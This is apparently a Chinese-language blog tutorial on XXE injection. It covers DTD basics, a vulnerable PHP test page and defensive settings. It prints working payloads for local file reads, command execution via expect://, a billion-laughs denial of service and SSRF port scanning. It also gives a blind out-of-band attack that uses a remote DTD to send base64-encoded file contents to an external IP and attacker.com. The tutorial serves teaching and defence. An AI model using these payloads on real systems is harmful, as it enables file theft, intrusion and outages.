XXE外部实体注入漏洞

XXE外部实体注入

XML

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据,而不是显示数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。XML不会做任何事情。XML被设计用来结构化、存储以及传输信息。XML语言没有预定义的标签。 目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。 XML和HTML之间的差异

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

有关XML的基础语法可以去自行了解,因为漏洞主要与XML中的DTD有关,这里着重说明一下DTD以及DTD实体。

DTD(文档类型定义)

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用(这就是XXE注入存在的地方)。

DTD主要分为内部DTD与外部DTD

内部DTD

使用内部的dtd文件,即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [ 元素声明 ]>

示例代码:

<?xml version="1.0"?>
<!DOCTYPE note [                                                             
<!ELEMENT note ( to ,from ,heading ,body )>     
<!ELEMENT to ( #PCDATA )>                                         
<!ELEMENT from ( #PCDATA )>                                     
<!ELEMENT head ( #PCDATA )>                                     
<!ELEMENT body ( #PCDATA )>                                     
]>                                                                                        <!-- 闭合元素声明 -->
<note >
<to >Y0u </to >
<from >@re </from >
<head >v3ry </head >
<body >g00d !< /body >
</note >

外部DTD

<!DOCTYPE 根元素名称 SYSTEM "dtd 路径 ">    <!-- 引入外部的dtd文件 -->
<!DOCTYPE 根元素 PUBLIC "DTD 名称 " "DTD 文档的 URL">    <!-- 使用外部的dtd文件(网络上的dtd文件) -->

示例: 编写test.dtd文件

<!ELEMENT to ( #PCDATA )>                                         
<!ELEMENT from ( #PCDATA )>                                     
<!ELEMENT head ( #PCDATA )>                                     
<!ELEMENT body ( #PCDATA )>                                     

XML中导入DTD

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

DTD实体

  • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

实体引用

XML元素以形如 foo 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用 &lt ; &gt ; &amp ; &apos ; &quot ;替换< > & ' "。 实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为Document Type Defination(DTD,文档类型定义)的过程中进行。

按实体有无参分类,实体分为一般实体和参数实体

  • 一般实体
<!ENTITY 实体名称 " 实体内容 ">

引用一般实体的方法: &实体名称 ; 一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。

  • 参数实体
<!ENTITY % 实体名称 " 实体内容 ">

引用参数实体的方法: %实体名称 ; 参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。 按实体使用方式分类,实体分为内部声明实体和引用外部实体。

还可以分为内部实体与外部实体

  • 内部实体
<!ENTITY 实体名称 " 实体的值 ">

内部实体几乎没有什么利用价值

示例:

<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>
  • 外部实体

外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

示例

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
   <!ENTITY file SYSTEM "file:///etc/passwd">
   <!ENTITY copyright SYSTEM "http://test.com/dtd/entities.dtd">
]>
<author>&file;&copyright;</author>

PHP引用外部实体,常见的利用协议:

file:// 文件绝对路径 如: file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

XXE注入

XXE漏洞全称XML External Entity Injection,即XML外部实体注入。

漏洞原理:XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

漏洞成因:XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

XXE常见的利用方式

测试环境搭建

test.php:

<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
$xxe = $xml->xxe;
$str = "$xxe \n";
echo $str;
?>

代码说明:

file_get_contents('php://input') 获取客户端POST输入流里的内容。
new DOMDocument() 初始化 XML 解析器。
loadXML($xmlfile) 加载客户端输入的 XML 内容
simplexml_import_dom($dom) 获取 XML 文档节点,如果成功则返回 SimpleXMLElement 对象,如果失败则返回 FALSE 。 
获取 SimpleXMLElement 对象中的节点 XXE ,然后输出 XXE 内容。

任意文件读取

构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///C://Windows//win.ini">
]>
<root>
    <name>&file;</name>
</root>

效果:

image-20250807213342565

执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<root>
    <name>&xxe;</name>
</root>

通过XXE可以实现RCE的实例比较少,需要依赖协议。

拒绝服务攻击(Dos)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

递归引用,lol实体具体还有“lol”字符串,然后一个lol2实体引用了10次lol实体,一个lol3实体引用了10次lol2实体,此时一个lol3实体就含有10^2个“lol”了,以此类推,lol9实体含有10^8个“lol”字符串,最后再引用lol9。此测试可以在内存中将小型XML文档扩展到超过3GB而使服务器崩溃(但是大多数情况下会出现引用失败)。

SSRF(内网端口探测)

XXE漏洞还可能造成一系列的SSRF,比如内网端口探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>
    <name>&xxe;</name>
</root>

端口有没有开放等待的时间和报错的内容是不同的。

比如在我的本地开启了18080端口,但是9999端口没有打开。可以看下面两张图的区别

image-20250807213949852

image-20250807213958846

端口开启与否报错信息区别较大。可以通过这种方式爆破出所有开启端口。

有回显与无回显XXE

与SQL相似,XXE漏洞也分为有回显和无回显 有回显,可以直接在页面中看到payload的执行结果或现象。 无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

有回显

前面我给的例子都是有回显的,便不再赘述了。

无回显

测试代码:

<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
?>

可以看到测试代码中没有了echo输出的部分,也就是无回显了。

这种时候可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据。

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。

虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

具体操作如下:

提前准备好一台有公网IP的云服务器。在云服务器上新建一个test.dtd文件,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://116.62.188.166?p=%file;'>">

然后在服务器上开启nc监听:

nc -lvp 9999

然后发送payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://116.62.188.166/test.dtd">
%remote;%int;%send;
]>

下面便可以观察nc监听的日志

image-20250807221326657

一切正常便能拿到指定文件内容的base64编码。

  • 主要思路分析
    • 先调用%remote,请求远程服务器(攻击服务器)上的http://116.62.188.166/test.dtd
    • 再调用test.dtd中的%file。%file获取受攻击的服务器上面的敏感文件,然后将%file的返回结果传到%send。
    • 然后调用%send;把读取到的数据发送到远程服务器上。
    • 这样就实现了外带数据的效果,解决 XXE 无回显的问题。

知识点

为什么在test.tdt中要使用嵌套实体的方式?为什么不能直接在test.dtd中声明% send?

因为XML规范规定:

  1. 参数实体 (%...;) 只能在DTD中使用(包括外部DTD和内部DTD的子集)。
  2. 参数实体在声明之前不能被引用
  3. 在内部DTD中,参数实体不能用于动态生成标记声明(如另一个实体声明)。

所以如果直接声明% send如下:

<!ENTITY % file SYSTEM "php://filter/.../resource=flag.php">
<!ENTITY % send SYSTEM 'http://attacker.com?p=%file;'>

这样在payload调用实体的时候过程如下:

  1. %remote,读取远程的test.dtd文件。而文件内容也是两个实体% file和% send的定义。
  2. 注意到% send实体定义的时候还调用了% file,这种情况就出问题了。因为% file和% send是同时定义的,而% send里使用的% file其实是还没有被定义的。所以不能这样做。

再讲解一下嵌套情况下的过程:

  1. payload中调用%remote,读取远程的test.dtd文件。而文件内容也是两个实体% file和% send的定义。

  2. 定义% file,通过伪协议读取指定文件内容保存到% file。

  3. 定义% int,保存内容是另一个实体% send的定义。

  4. payload中调用%int,这个时候就相当于给% send定义了。

可以看到嵌套情况下,在% send定义之前。% file与% int就一起定义好了。这个时候%send里面调用%file就没有问题。

XXE的防御

最有效的方式就是禁用外部实体

libxml_disable_entity_loader(true);

或者过滤用户提交的XML数据,关键字: <!DOCTYPE 和 <!ENTITY ,或者 SYSTEM 和 PUBLIC 。 不允许XML中含有自己定义的DTD。但是这种容易被绕过。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注